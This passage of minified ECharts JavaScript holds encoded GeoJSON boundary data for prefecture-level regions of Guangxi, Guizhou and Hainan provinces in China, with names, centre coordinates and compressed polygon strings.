12973,24863]]}},{type:"Feature",id:"4511",properties:{name:"贺州市",cp:[111.3135,24.4006],childNum:4},geometry:{type:"Polygon",coordinates:["@@nL@xn@lKVkšwn@„alLlaXV@„lx„bVWV@aUa@aUk@mVUnVl„XL@JV@VxVIVƒX@„b@bl@@`ÇnXVlI@l„xUnlVVLkllV„@nmJUxnzWJ@VXLlŽšLVxnL@l„LlŽVI@V@lUnl¤Uz™Kš@„Vl@š„L‚l„Lnš‚b@VnVVU@k„a‚Knxn@VkVJ@ńUlakmWIUaVanm@_UK@UVWUa@klXam™U@Vmƒ™VIXW„@lUVknVlKVLXŽVXšW@b@VlšnnVL@KXL‚Kn@lb@UnW°@Va„X„WVb°aVa@I¯aUkUaVKVwƒaXk@a„a‚™@wkm@alanUVw@alK@Umkw@UƒaUmU@WXUaUK@UW@UaVWI@¥Xa@w@WWšVƒXwƒU@mKUXUWVU@a¯kl@akU@UULmK¯VUVW@U_m`U@@xVbUz@lUbUlƒXU`WLk@mš²šWb@ށ@ƒxU_mƒXmmamLkUkKVkUƒVу¥mIXa¯KƒbmLkK@V@Lmš¯@ƒ¯kKm¥kIWaUKk@@aVUUaƒ@UwVUƒKVƒX_WaU@@bUJUaƒš@šmbnn@lULmKUnU@@J‚xUbUbU@mX™š¯@VŽ@bnJÇz@VUVVbVxUn„˜UbW@kz™VUlUbVbƒŽUL@lWb"],encodeOffsets:[[113220,24947]]}},{type:"Feature",id:"4507",properties:{name:"钦州市",cp:[109.0283,22.0935],childNum:3},geometry:{type:"Polygon",coordinates:["@@@IlVVlnL‚@œxla„al@n„VLlx@x@bXnV@@`mXX`lbnaVL@blV@b„wnx‚I@xXJ°nK‚l„š@lbnKnblUVanKVb„@lUnJVI„VUb@V‚U@m„L@Ul@Xw„llVVXV@lVnlVn„l@XVlK„@@_VWVxX@lb„U„nV@@JlbnIlmnVV@UwVK@U@k°a@mnIVVVK@nXLÆaVWXVK™™@_W@Umšw@UXWWkUUVWUIVaƒUkJ™UVWbUmU@mkUJUU@UVab±aVaUIUmVKUaVUU@VUUaUUU@W¯XWWw„w@k@Kl™@wkV@U@alK@aX@@UmIUWUIƒ@mmkXU`U_WJUnUJmUk@@amLU@UVW@UkU@@VƒbUWVUk@@wmKkUWLUWX@JmIƒlUkkKWKkLWU@UKWa@bU@@a@_UKWƒUUUmJmw@nV_@ġğKóLmbU¼VÆ@xUXƒ@Um@wklVnUn›lkaUV@„lV²WVklWXXbWlkVkIm`UUƒLƒUU@UWƒx@XU@@lWLU@kbUbV`UXllUV@bmb@LnKVbULm‚šnVVIV`X@"],encodeOffsets:[[110881,22742]]}},{type:"Feature",id:"4508",properties:{name:"贵港市",cp:[109.9402,23.3459],childNum:3},geometry:{type:"Polygon",coordinates:["@@n@VzUJ‚nVŽ„K@XšVš°nVVnšwVb@xVV„knJl™VVUbn„WL@bUxVVXš„bl@lVXkWƒXwWaa@¥‚@nUUUV@„JVkVVV@XUWanknK‚xnƒ¯VyVI@m@UkL@W@Ušk@aUalKnUUV¥@KVkkaWVkUVkUm@aWanI@n@°aUUVaUa@_m@UamaƒV@akU@mV_@ƒa@KWIkƒmLUKƒaUVU@ƒkƒVUK@wUIWVUaVwka@Uka@aV@@aUKVk™K@X@Vƒb™KƒU@JULVLkVWšUL@aUK™b@VUL@LƒxUKmlkImJk_@WU@ƒkmK@UV@„¥XIm@@Wn_@KmVm@@I@aUmkXm@UWV@mn_@mƒUUJWIUWV_WƒwU@mUknVVmxU@@VUV@zU@UVW@ƒK@šX@VLUVƒKƒz@J@VnX@`±bUXVƒ¼™lšn@xmxÝL@‚Ubn°@XWVUxUVVnkbWVXV@Xš`ÆÈ„KnƒlLVanIV`nLVUlƒ²ƒV@V¦„l°¦„w‚b@šnKnLVbVJšIVƒXK@b‚n@ènx@xVbUnV‚"],encodeOffsets:[[112568,24255]]}},{type:"Feature",id:"4506",properties:{name:"防城港市",cp:[108.0505,21.9287],childNum:3},geometry:{type:"Polygon",coordinates:["@@XV@X°°U„lxkbVlVb@nkbVl@xl@@b@n„‚XbVL@Vl@UbV@@JVLXbmV@bVVUXUJU²šW„XlKVb„@VVXKlXšWlXXWV@VXJlI@x„l@nlbn@lln@lbXalIVK@ƒVwœUVb‚U@aXylUX@@aW@U_UJmU™nVKUamL@Kna@aVUkkVWU_ValaV@XK@kV@@W„wVXV@„V„KVVn_lJlUXkWaXWlkXU‚±kU@ƒVUlbœkVmUmlk™¯Ý™™W@mb@¦VxULm™kJUU@ma¯wƒmkX@VóJ±bUVUXÝWk™lWXXlƒxUaƒbƒIğ™Ç@U@mVUKkkm@UJm@XnWV@x"],encodeOffsets:[[110070,22174]]}},{type:"Feature",id:"4505",properties:{name:"北海市",cp:[109.314,21.6211],childNum:2},geometry:{type:"Polygon",coordinates:["@@VaVLnK@IšJVwUaVaUkWKn_mƒX¥WwXm‚LXalbU£UyV„Å@ݙwm@™°l›LÅUƒmk™mwÛaƑLÝUUm@ȣƃV_„Ó@£UƒƒUVƒ„™¼U°W̄™ÞVbXbôx@b@bmV@ǃ™UÝ@@ĢU`m@ŽnxnIVV‚VX„VL@`@bV@@aXbVL‚@XVlKXLlLVl„knJ@I‚WVXXKlVnL@xl@UVVX„a@UV@VlX@VUV@nK@bl@nVVIVmXIV`V_lWnn„@VJVXnJ"],encodeOffsets:[[112242,22444]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/gui_zhou_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"5203",properties:{name:"遵义市",cp:[106.908,28.1744],childNum:14},geometry:{type:"MultiPolygon",coordinates:[["@@@UnUlJn„w‚JU°VL@bnVšU„wlJ@XƒŽXVlU@klVUJknl„UllL@bUJ@xULUlƒ„UblVkblbnw‚UXmla@„wV@VK@L@UXaVKVLXWƒUVa@U@Im@@W@£UKUakKWIXU@al@@llUnL@W@Un@@VlUV@VIUanKl@Xb@lmxVb@b°bb@nlJVVnnJ@b@L‚V@ln„@LmV@Vx@blnVK„nlJXIlw„J@҄b@nlK@Un@UL@VVVVUUUVK„l„@VUVL„J@UVUUw„@Wm@™„UV„ÈVlbUb@JšLlŽX@@x„„ƒLmŽk@@nlx@bUJUzVJ„@@LVxUV@bWxnLnVVK@_‚K²xVbV@n¥@aVI@b„@l@Va„Knb@n‚`n„mmý„W@ƒU_šwV@VlVV@Vn@n„˜@nI@Jn@°¦VaUU@™„mVVWVaUńU@aVKnƒVbVUmmU@a@kUw™m@aUUmUUJ¯lakU‚aXaWUUaVƒkk„amkmUnVlULƒVlJ@XU@UJWUUw„k@aU@WbkWƒL@U@WU@@XUKmV@aUVwUĕUJUamUUVUÑm™nIVJ@kl@XalJVn@KVLœ¥@UWIXWmU@mVUKnUWLUKUaWUUKVU@U@anUny@UlUkK@w@a@aVUƒ»UkVw@Wmk—JƒÅmUUVmwXalLXWWUnam@XkƒJ@UVU@U@W„@@U@I@Wl@Ènlw@KXLWb„lVUkalKUU„VVaV@@wnIlaUmkUƒKWU@KkUkLWaƒKUUWUn@VƒK@LnnWJUIƒVkUWVnV@V™@@XƒK@VUIUJ@IWJkX@VVJ™IƒVkK@I@UVaUWk@m„@wnUWKk@mxk@@„lV@b„xmb@x@VUmLkUƒJ@nVV@b@VkLVbU`¯I›l@™U_UW@UU@™™ƒK¯wm@™xƒL¯¥kIƒ™ƒ‚@bkbƒ@Ua@ƒm@kkW@XVbmV@ŽkV@bWbUbV@„¦ƒxXlmVk@ƒ¦™bkaWL@KUImK@wUK@VUI™b@bmK@LÅy@akXW@kbWlXblL@ŽULUbƒ`@U™kUymX¯@mšUJUUJƒL@Lm@@WX@lU„VlšXll„@l@Èk°V°Ž„X@VU@UVll@XUJVXUVm@@VXLWlnV@Xƒšk@mVULnxV@@bm‚kL@VWLUbU@UVm@ƒb@ķ¥UnmJ@UUVƒkkJUšlÔU`UIW@ƒ°kLUlUI@WVI™U@mWKkXk@ƒ‚WU@bXšW„@J@xX@l@LVl@xšLVxXX@x‚KnxVknb‚KVV@U„L„WlXU`@nUlšX@llVXšVU„KlkUKlI@anKVLXKVaUIVWV_VK@VnLlU„»VKVL„m"],["@@@KlKkUUVVX"]], +encodeOffsets:[[[108799,29239]],[[110532,27822]]]}},{type:"Feature",id:"5226",properties:{name:"黔东南苗族侗族自治州",cp:[108.4241,26.4166],childNum:17},geometry:{type:"MultiPolygon",coordinates:[["@@VV@XkV@bUbWJU¼Vb@Vnb@bš„@J@bƒL@LV@UVƒlUI@a™KULVb@bkJmx„šlLVxknVJk„‚xnKmnnL@bn`WIXlWLU@UxVbUVmKV„XI@JVIVJ@U„L@Wš@@UmUXUlV„UVJXImm@K„L@UVmVXV‚„LXblKlV@LXV„LlVVnkbmJ@xnXl@šbXa‚@Vana„ÒšL„m‚VnIl‚Þ¦°k@b„@@lV„nJlUnš‚VX_„@lVlK„šV„UUxVLVWVIXJšUlnnWlI@KUaUUVKn@VaVXV@na@ƒmw¯@mUkJUamI@lk@@am@@I„ƒUmVImUUw˜™@anUVaUU@LU@WaWUXWW„wV@VwnU@L@ynbl@@X@a„J@nW@@Vn@„lVLlxnI„lš@@UWKUƒnIlJXIVllIVVš¼XK@aVI„V‚@@bn@VKXLVKVVVInw„J@UWI@mX@WKnI@KmU„UVJUL@V„KW@@k„@aU@@W@InJWUXwWI@Wƒ@¯wkaVaUIl@nŽValIXWWI@UUm@anwWkXWWIUbk@UJmIUamKVUUUVVama¯VkIVVUlKnXVwX@@WVaUUVa@IlƒaVmƒkna›wk™UU@ƒU@mUVƒšUVwœl°LVbnJVU™¯la@mX@@UWKXU@aV_V@@JlkUƒ¯@V™nK@km¯k„U@ƒWUW@mmƒU@™kmlU@wkL@WƒUkL@VmLƒJ@b@V@bknUUVK@UVKUK@Uk@Wa@LUVVnUbmVk@@UU@@aƒV¯K@U@UU@WmUL@aU@WV—w@ƒ˜I„xXll@UX‚K@KXXVJna@wWaƒ£naUKV„m@UU@mUmalm@@XkVm@U@VƒLmWU@kkWxU@@bVV@VkXVlƒVƒ@UUk@@ƒmI@KUw„m@UmVƒUUwU@lwkV@IUa@mUaVIVKVa@w@U@™UJkb@n@bmJ@XmlVUxWXkJmUkUUVW™xUlU@ƒaULUšmbU@@‚WXkmƒL@xUV@nUxÇm@„XLWbnlƒnV‚nnUV˜U‚nVVz„@lbUVVlULVb@V@nUJkwm@Ux@bWbUK@UULka›JbƒU™U@U@lUK@XUJmn™J@bU@UwWa™x@zkJWnUJUUVšVV@bXn@xVb@J™L™m@X™w@`@bkb@VmXUV¯L@mW@@n@V@‚ƒL@K—IW@@aƒaUx¯@U„m@XbW@@L„V@bnVWVkKUzlV@bÆa@lnI@VV@@LnVVKUaV_VJVbnU@bn@‚‚nX@yVIVxXKVLlUVaXU°J","@@@KlKkUUVVX"],["@@UUVUkUmV@ln@VXVK@K"]],encodeOffsets:[[[110318,27214],[110532,27822]],[[112219,27394]]]}},{type:"Feature",id:"5224",properties:{name:"毕节地区",cp:[105.1611,27.0648],childNum:8},geometry:{type:"Polygon",coordinates:["@@UkVƒ@k‚W@Xn@@K„KVIVVIn™°@nWVzšl@V„_VaVK@kKWaXklaX@lW@bÆz@KnL@ašaVJ@UVL@xnLVJ@LXKlbša„¥l@nUWk„wƒ¥U@VaXa@amLkUƒKmƒ¯kƒmkIUaƒKUIWƒkKm@anw@mlwXIƒmƒUk¯@a@amUƒ`kkKWVkxmUUak_mJmw@w„mXUW¯X›_@WnI@aVwkWWýŃU@WLkU™aUbVV@lUVVnm@kUmV¯™kK™LƒwmVUUaWV™aaWw¯wƒÈ@VULUVUUƒK@nWJkI™l@Umxnbm@kbUJƒa¯bUbVxmLUV™aU@VUUWxkVVV@bUV@XWbnlUbƒbUJlbUV¯b@z„`WbXnmbƒaƒwUwVWUƒbUxmbU@Uam™@Vƒk™VaƒwVaUƒWI@mUKóz@lUlÅ@WIƒb@xXxml@XklULWKUmwUa¯KUXWJkaULmKkLWbkKUVƒImƒƒWa@kUaULƒW¯LƒK¯@kbƒL@b™x@J@bmnnlUšlzU`U@@Uƒb@„m‚n¦°bU„Vx@bkVm¼mx@mk™mVV@bkxVn„aVV@bU@mL@b²`lIVV@lXLlš„bVxn@@bl@XllIVšnbVšn°°wlbXw@mVa°lVnU@mš™VLVbn@@b„@@WVnUV@Xlxn`VznJVb@L@bV`V@šUnwšU„@WUXKV@UUlmUUlaXalLšm„bšIVbnJVIlVVaUUnWVXn‚VL‚k@ƒnWnblnlb²x„xVKVXlVXLVW„LlUVJna@wVL„¼@JVX@`@nnx@nWJU@Vx@XXKšŽUblxUš°„LVKVVlL@KnbVUnJ„IlUšƒnKl£VW„x„IlJ@nšVÞUVVnb‚VX@V_°lnK","@@@UmWUwkU@Um@@VkL@V@„„‚V„VkV@nbVa@ƒ"],encodeOffsets:[[108552,28412],[107213,27445]]}},{type:"Feature",id:"5227",properties:{name:"黔南布依族苗族自治州",cp:[107.2485,25.8398],childNum:12},geometry:{type:"Polygon",coordinates:["@@‚V@IöalK@UV@@KUaVIVVœLlaVbVWnX@‚@LnUlxl@naVLXVVaVU„J@lUUanWWI„@VlV@Xbƒb@V„n@VmVVbk@kU@V›V@X„J@zn`ULW@kK@_WVUK@LUb@Jlxn@nnWlU@@b„x@XVVU@UbVb‚@n`VI@VVLUlUIUV@KmL@VV@XIV@@lVLVmXV„@WLXLW@U`šnkb@Vl@UL@VVV„L„llX@`lIXb„J˜IXW„L‚aVL@ŽXXW‚Ģ™b@bmK@L@°@Vnxmxšn„K@xVn@VkL@V™Lƒakbl`VnnxVnUlššV@@VVXV`@šœk°JV_UalK@U@aUU@m„IlVnK‚V@U@wnaƒw@akU@ƒl@nwl@XLmV@xnƒl@VXUb@V@JlL„UšJUI@UlWUƒnLVUUaVwV@XKWkXJm_@amKnmmLwlƒUIlmUwkKƒ™nwlI@aUaVKšL@bVJ„kVUU@@K„K@a@I™ƒ@ama@UUaV»XIVa@alU@WUU¯IWVUbkVUKWLUwUJ@zmWm@@amVUaUIU`VbULmU@KU@@UmJ@kÅb@akUVylLXUmU@aƒU@KX@Wan@Vƒ°@Vw„b@bX@˜J@L„K@@U@mX@@n°KVUnW@Ula@a@_šx@WšnšK@IUa@wWm@aUUU™VVVIXmlI@yšwXbVxV@@ašInmVI@WVL@k@VšV„V‚aœIlbVK@VVLXa@aVwn@lxVI@m@UUaVKUkVUkaƒ@UymUV—VUmmU„mmkXaWK@ƒÈnVw@mVU@w„KlnXW@V@naV™VKUk@KVIUWƒ@mk@KXU@Um@@lVƒk@UVJna@UWaƒL@a@ƒXa@kmmVUUk@mkkƒamJ—ImJUUmIm±aUUkambkamVUU@VlbUbVVƒxX„WVUU@VUakU@UmUV‚U@mnUVVnUbVJ@b—UW¥kLVamVkUaWJU_UVWKk@@nl„UVVJUXm@Vm@UnVlmbnmJUbULU@@UUKWVIWxnJVb@xUL@bUJWIkxƒbkb@xVJƒbmU@kW±LkKUkVa@a¯am¥ULkalÑlKXUWƒXƒaVakImVƒ@ka@UUƒJ¯aƒX™mmb—KWU@wUUƒaUa™KmU@UXlWb—¼WLUKUb°„UlVbkbVL@VƒšƒJ@nVlUbUXmJ@VX@lbUbU@@bWb@VnLVJ@bVVUz„ŽVL@lnL@b™VVVULmKUk™Jkbm@ƒxVb@V—kƒKVnnV@b@ŽWXU‚„nV„l‚VVXVJUXlVXbWV@VU@Ubk@@KWbUUmL@JnXV°XJ@_‚`UbkXVVlÆkbƒ@VLXVV@‚V@k„KXX@`V@@n"],encodeOffsets:[[108912,26905]]}},{type:"Feature",id:"5222",properties:{name:"铜仁地区",cp:[108.6218,28.0096],childNum:10},geometry:{type:"Polygon",coordinates:["@@°a@aÈbVUlU@aVKnVV„VUlyX¹lWVa@U™VƒnUVU@m™@mUl@„mÞw„@‚xnIVbna@KVI‚J@kwV¥ƒUXÇVkVW@kkKWU@aXUWmnIVa°VXbmL@VVbnVVVUb™VbšJVbVKXkVKVanU@aWnWUWa@U™nk@mVIVK@wXxlLXbVJVlKœbl@VI@mšaXalVV„VbX@@ašalnkx@b@V‚b@Vnx@bVVUXn¤WXn@Vl@Vlzn@š`@I@KUU@ƒV£namVkXa@aVK‚nnU@anVlKƒa@UUU@amk@»kƒU¯@aš„VWnkWmkImU@akaVm@»VUV@UKnkW¯XWlkUKnIWaš@nmlIXmWUnwUwWm@wULmaUJkIUaƒaWa—klwkwmJmU@bkJ@XUJ¯W@XbWbUKUkWJUUVKnn@UmmXUWa@mU@@UI@WmXVykwm@kaULWwU@¯ƒlKUUVU@mU@UkmaUbmV@b—š‚xVnVUJVnƒ„@Jn@@bl@@knJVblInV°@nx@„mbU@UWUbm@ULVVVb@LkJmXkm™VWIUJUXUKVwƒV™UƒŽkLkUƒ@W`Um™kVmIUƒ@kƒ@@a¯lÝ¥kmJUƒn™KƒÑmbUb@Wb™ak@mWU@UbƒUVVkLlbUVƒkXaWK@LkxÇmk@@X@J@Vƒ@@X@VUV@V„IWln@mbXVWXkKWbnxVUnV„ƘInl@XUxVl„¼UV@b@b@xlLkV@VmzmV@b@VUVVLXVVbVLXKmVVLU‚@nnVWXXJ@V›¦UK@LUmkIWbk@@lUImJnšVÒVUnVVbVIVĖUxV‚@bnUVL@WV@@X@V„KlXXaV@@bƒlVxXVVIV@@WkI„UVKUkVmlnnŽƒbllU„VbXVWbblVkb°ŽVInVVV@bšnVx@l@bnVVnUŽUam„UL@bƒVVÆUbUXU‚ƒn@šVVUb"],encodeOffsets:[[110667,29785]]}},{type:"Feature",id:"5223",properties:{name:"黔西南布依族苗族自治州",cp:[105.5347,25.3949],childNum:8},geometry:{type:"Polygon",coordinates:["@@VL@Vl@@IXW@kVUVbnW@XlKVVnU„VlL@b„aVbƒb@xX‚°ÔUxV@kbm@VxkxWJœ„V¦ƒŽ@ÈnšVKšxWXJmV@n„Ò@xVbn@@blLk`VX@bššla²JVUlnn@U±lw@wnw@mlwVIX@@m@klKnk‚a„KnwmmXkƍVm„Uš¥l@nb°n@„aVwVmVIVnI@a„¯@mšU°ƒl@@VnI@JV@UV@b@IUbVJmXöºƒzllUbVa@aXUl@„U@llLnKVaUa@UmK@UšwV„bnKV@VwVK@UXƒV@Vbn@‚w@U„WnX‚@„a@m„I„™@UUKlaUaVk¯ƒVaVLXK˜»XaWk¯mƒkğwmW@mIƒVkwƒJUIšÇVwU™UkVKkƒm@UkmU@WÅwm£Vƒ„m¤¯IkJWa™_™lUbmJzÝJk„ƒUÇVU„ƒ‚@bU„Ýn™m¯LUb@`mL@VkL@VƒUmmk@UU±Umka@kUƒ@ķymUkk@mmkÝmUaUakImV@V@VÅLƒ¦ƒJUXmJXšWb@n°Æœx‚¼nV@LlbUŽUbmL¯@ÞbV¤nbVx@bUVlblIœ™@KVVUnVJUn@VlLUlmLUUUxmK@I@@VW@@bU@UJmUkLVVUl@b@V"],encodeOffsets:[[107157,25965]]}},{type:"Feature",id:"5202",properties:{name:"六盘水市",cp:[104.7546,26.0925],childNum:5},geometry:{type:"MultiPolygon",coordinates:[["@@ôyVL@nXJV„Ub„x‚bUŽlšU„@ŽšnŽVbV@naVw„a‚VUXVx„x„bnaWmXaƒ_@y°aVUkaVI„aVamkXa@WVU@aUUlUXwVV@UVšbVUnKUwVa°a„bVIlan@manw@VšklJXI@m„LVVVUVK@U„ǃk@KUa@UkaVU@UVWV_XWVXVWlLXKlLXaÆKšwVL@akKm@Uwƒ@@XUVk@VUI@wWK@aUV™I@UkK@ƒmL™Wƒ@kImJƒUÅVmkXUW@UJkx@nmx@xkxV²m@kmUV±Ikb™™@aUWl_kK@am@Ua@wƒÑ@mnUWIX™wULm™@DŽU¥›ƒXIlwUwn@laU@Vw¯ÓW@w„aUaƒb@akKƒUmVUUkL@WmXUaUV@lWX@Jk@@UUKULmLUJmzkKmVX°VšUnWKUL™ƒƒL@mU@UnVJ@b@„UV@Xƒ`m_@l@@bmbXJmnnš@°˜wnn@ŽVLX@V‚@nVl@nk@@b‚l@nn°WlXzW`XXVKnUlxVbUb@‚V„Xb@Ž‚VxÈbVlnbmn@ŽkVUL@„ƒŽmLUVVL"],["@@@ƒ@UmWUwkU@Um@@VkL@V@„„‚@„V@VkV@nbVa"]],encodeOffsets:[[[107089,27181]],[[107213,27479]]]}},{type:"Feature",id:"5204",properties:{name:"安顺市",cp:[105.9082,25.9882],childNum:6},geometry:{type:"Polygon",coordinates:["@@lL@bUK™xÅLWbkKWLkKUXUWWXU`UX@VUVlb@VVb@L„l°xXx‚bšbXUVb‚VnU„xšKlL°šnUlVn@UmVU@kUUVašblVXKV@ƄXþlXUxnU@mVK@_@ml@UU„@šblU@KnLVyUw„@@UmkšWVw@UVK@VXzVK@n„VVUUW@kVJnlaš@nKW™kaWL@U—™õb@JU@mU@@_WWƒL@lUU@WUUK„@lakÅUUlWVa_@`WIU¯mW@InKVVXa@Ll@VaV@@UXUWakUVWUIUW‚UkUƒƒmVXW@@amUUm„L˜l@UUa„wn@lašIVlnLVKUUšU@amK@kUKƒVyUU@aUImK@UXa@aV@VakaW@@UnIVWVaUkƒb@mWƒX@Vxm@UaU@W„@VULUxU@mLƒaUŽ™x@VnL@VVbUbmLkK@kƒVk@WV@bUbVakk„yõ¹nWUIVa@J@aVUU@@ImJ@Uk@¯„™V@nƒ°@bmJUUJUnUxƒbm@¯Žmak@™¦ƒVUnŎWlnnmxƒLbmlkL@l@nWVnlÆU„VnIlJ„@šXnK@„lL@VšJVU@bXL@xVJUl@VU@W„@Vxn@"],encodeOffsets:[[108237,26792]]}},{type:"Feature",id:"5201",properties:{name:"贵阳市",cp:[106.6992,26.7682],childNum:5},geometry:{type:"Polygon",coordinates:["@@nŽlLX„VJ„LVblJ„n°ln„„LlVnKlU@nUUa@WlX@l„n@‚Vb„@la@a„„šlJ°¦„Kšwn@°x„LVkUmmwUmk_la„bšK@UlK@UUm@wƒL™mnwmw@U@¯@KnL@aša‚ġXWW@UKbƒKWX—JƒIWakJ@_kWƒkƒKUU@UVKk@@Ula™mV_X@WKXKƒ@WUUnUK@kU@WJU@@UnK@LVUVJVkUK@UUJm_@UaVaV@UU@Wƒw@aV@Xkmmm@kw@IVa@KVLXU@`lLX@VKm_@yƒI@WœU@UlVl@UanU@Uƒm@U„aWaU@Ukƒ@XJmXVbkV@ŽƒIUVUbWUUKmbk@kwmV@K@mWUXUakb›KUUUJVb@LU@@VkL˜š@VXKlbXšmL™@kbm‚UI@lVXUVƒU@mULWy@UUL@VUx™Xnl@Vƒ@VxUzmK@LkV™aƒ@VVk@@n@`UL@nmV@bmJ@Xœ`WX°WVƒn@xnxnIl`VbnVlwXUlLl‚„_nV@b@bl°„V„nWJkx@nmx@b"],encodeOffsets:[[108945,27760]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/hai_nan_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"469003",properties:{name:"儋州市",cp:[109.3291,19.5653],childNum:1},geometry:{type:"Polygon",coordinates:["@@஼jpnr’``ŽpRVHʘ̤žZt^JÖA˜[†CâlTébQhRPOhMBcRSQiROE[FYdGNOEIH]MgEAMLLIAG_WMCSL@ED]PCLYC[ZIHgjSxJTMbHNEFCMEE_HSDFHSLECRNSFDRICHNADGPI\\RZGIJTIAHLDQOHG`GTNCOIC@eIGDWHIS[kiE[FMbECZS@KKS[FDWsCeRuU_DUQNOE[LKGUBM¨EDQP@HWHGDImXƒCog_~‹I_fGDG|QDUWKBC\\ore|}[KLsISBHVXHCN`lNdQLOnFJSXcUEJMCKSHOUMDIm_‹DI`kNDIGEYFM\\YPEEIPMSGLIKOVAU_EBGQ@CIk`WGGDUM_XcIOLCJphHT_NCISG_R@V]\\OjSGAQSAKF]@q^mGFKSW^cQUC[]T}SGD@^_ˆaRUTO@OHATŸ”"],encodeOffsets:[[111506,20018]]}},{type:"Feature",id:"469005",properties:{name:"文昌市",cp:[110.8905,19.7823],childNum:1},geometry:{type:"Polygon",coordinates:["@@€hIJ¤Ī¯LQDaFßL[VQìw€G‚F~Z^Ab[€¹ZYöpFº lN®D´INQQk]U‘[GSU©S_­c‹}aoSiA£cŁ¡©EiQeU­qWoESKSSOmwŸćõWkàmJMAAMMCWHGoM]gA[FGZLZCTURFNBncVOXCdGB@TSbk\\gDOKMNKWQHIvXDJ\\VDTXPERHJMFNj@OwX@LOTGzL^GHN^@RPHPE^KTDhhtBjZL[Pg@MNGLEdHV[HbRb@JHEV_NKLBRTPZhERHJcH^HDRlZJOPGdDJPOpXTETaV[GOZXTARQTRLBLWDa^QAF`ENUPBP…\\Eji`yºEvåà"],encodeOffsets:[[113115,20665]]}},{type:"Feature",id:"469033",properties:{name:"乐东黎族自治县",cp:[109.0283,18.6301],childNum:1},geometry:{type:"Polygon",coordinates:["@@ªVLP`@PEdNRAHOPEAKHEVL`GZBJfvdTAXNNTZJFPrHHNpKTD\\ILHbEVd^J‚OHLh@NNBnHP`\\xH@NBRLJTlŽNv_^CTLd@bNDVFbxdFV€UPBTKOGEOUO@OEBXQP[H_EI\\EbeYa@UO_J‹MEJ_IEDKJUGMDcNUd_FMTEJSGoZ]EIYGO[YW‘gEQ]a@WHEDQKUSDUGAbYBUpSCYNiWqOSQEoF[UcQISWWNMSDe_cLQ_UBiKQOOASQAWgS­ā]ZaŽSPÝZ]XMXSŒ[^oVËNgNKlE RôEø"],encodeOffsets:[[111263,19164]]}},{type:"Feature",id:"4602",properties:{name:"三亚市",cp:[109.3716,18.3698],childNum:1},geometry:{type:"Polygon",coordinates:["@@®ĂhTBXTRPBRPjLVAR`dKf`TC‚NXMTXRJVdE\\FpTRrPjXZMTDVoZABaVHTCLVCRGF@X^bFR’hZXP\\ZHHMA[^wBWXJlW¤EJ[bCTOF‹WWMm@ILMGWQ@DQ^QNWFSHEbF`OXNbO„VNKTEPDTLTCCVTREfvfEHNbRAENH^RJXCFHNFRpVGHWISDOTMVCZeGamaLoLÛD¹¹ėgsia{OųE—Tt‰lɂwr}jŸR±E{L}j]HąKÃT[P"],encodeOffsets:[[111547,18737]]}},{type:"Feature",id:"469036",properties:{name:"琼中黎族苗族自治县",cp:[109.8413,19.0736],childNum:1},geometry:{type:"Polygon",coordinates:["@@bRFnHNbHŒgN@NPEnbXP@bND`NT\\@\\QZb@`@J]V@XhžDpW„nCJGHGXO@CR§FANHVKLF\\MPVR`CvVfQtDPKpGHG@S`WJP~^dSTHWX\\RHTFACQTIAUPOU@MG__IaYSFQK‘NSbORHXCZeTFJg„B`YBMNMFi~IVDV[tGJWXGDQRGF]ˆJrALgESLSAYDGIaFeXQLS\\MKSLSQYJY}eKO[EHiGSaK[Yw[bmdURgEK^_kcSGEOHKIAS]aFSU@Y]IWFUTYlkP_CUOUEkmYbSQK@EMWUuAU\\M@EpK^_ZMDQ^OXwC_ZODBrERURGVVZ\\DTXcFWNIAWJWAYUUFYEWLQQaCIZeDM`cLKRGpanJZQd"],encodeOffsets:[[112153,19488]]}},{type:"Feature",id:"469007",properties:{name:"东方市",cp:[108.8498,19.0414],childNum:1},geometry:{type:"Polygon",coordinates:["@@ºŸx‹JYZQ”IŠYXLl@dR\\WZEn]bA\\S~F`KXaDeTiNO^EEKWEDQXITBXaWaDQMUJOIaTWf@NJV@dSxGZ‰Fu_@WMKAUˆ}AQ@MwG_[GOAmMMg@GKP]IUcaFKG[JSCoLGMqGEOYIMSWMSBucIeYA_HUKGFBLOFGPQBcMOF_@KO©UAtERadwZQ\\@ÊJÒgòUĪRlR°KĮVŽLJ"],encodeOffsets:[[111208,19833]]}},{type:"Feature",id:"4601",properties:{name:"海口市",cp:[110.3893,19.8516],childNum:1},geometry:{type:"Polygon",coordinates:["@@ńZƂt̬æßFuz¹j_Fi†[AOVOFME_RBb]XCAKQKRSBQWSPY\\HbUFSWSPoIOcCOHIPkYCQ]GdGGIFQYgSOAQLK`MFUIGa@aQ\\GGUFcHKNMh@\\OYKAigsCgLSF]GOQO]@GM]HyKSHKPW@Pxi@EMINYREXWRQ@MQcFGWIAwXGRH\\yDI`KJIdOCGRNPNtd\\UTMbQYi@]JeYOWaL[EcICMUJqWGDNZEXGJWFEXNbZRELFV]XQbAZFrYVUBCLNFCHmJaMIDDHXHEhQNXZ_TARFHVB@DTQIRR@YHAJVnAbKFUEMLd\\c^ÍÞ"],encodeOffsets:[[112711,20572]]}},{type:"Feature",id:"469006",properties:{name:"万宁市",cp:[110.3137,18.8388],childNum:1},geometry:{type:"Polygon",coordinates:["@@^J@ZTVbET^JBGLFPTHld]`FLQhcVanx\\\\ZbLHTGj\\FLP~fIZRZPVTQFSVAFJE^NDLEE[~LjsxVTG\\NZZNGlLRRGLJTV@hPZANN^@T\\NEPPbDZXO`d^HSvcJDIV\\XZAJUFCLNP@PQ¤@[ïKLÑIÏ]ÇE±I{uƒ­YśUćFcYUmsVeBSVgB[RO@aYYPO^]@UVaNeDShMLG\\EfFVE\\F`"],encodeOffsets:[[112657,19182]]}},{type:"Feature",id:"469027",properties:{name:"澄迈县",cp:[109.9937,19.7314],childNum:1},geometry:{type:"Polygon",coordinates:["@@T\\GJCXJH@fJDDPNCNJENN^NLHBNSx@DDYbBLLDRbjZTj@`XXTlG^Xr@PJLW\\WLTlWR@HDJTD@X_PO@STMDNTMVV@NLDM`M\\XM\\JNBH[PYZ‡úYzŸ`Ċ\\ÎÝd]c[NKVFLEBaUmBIZGQ@JQSR@CUAEGBQ`SWYRMFgWGCGJCbNnIDGMEDKVAZUEqBYRa^WEUFKYQMaFWXEHIFWMYHCrXVIIiaK@aMCUYNSIISTwXALKH@XWXIEIJQCG[IEQDE_XSBaa[AIPW@]RS[FWS[CD]PEBYNGFSaSyJG]@ugEUDQlGHiBKHUIoNSKqHFaPMICK]UUHIPDJMuCA[SCPID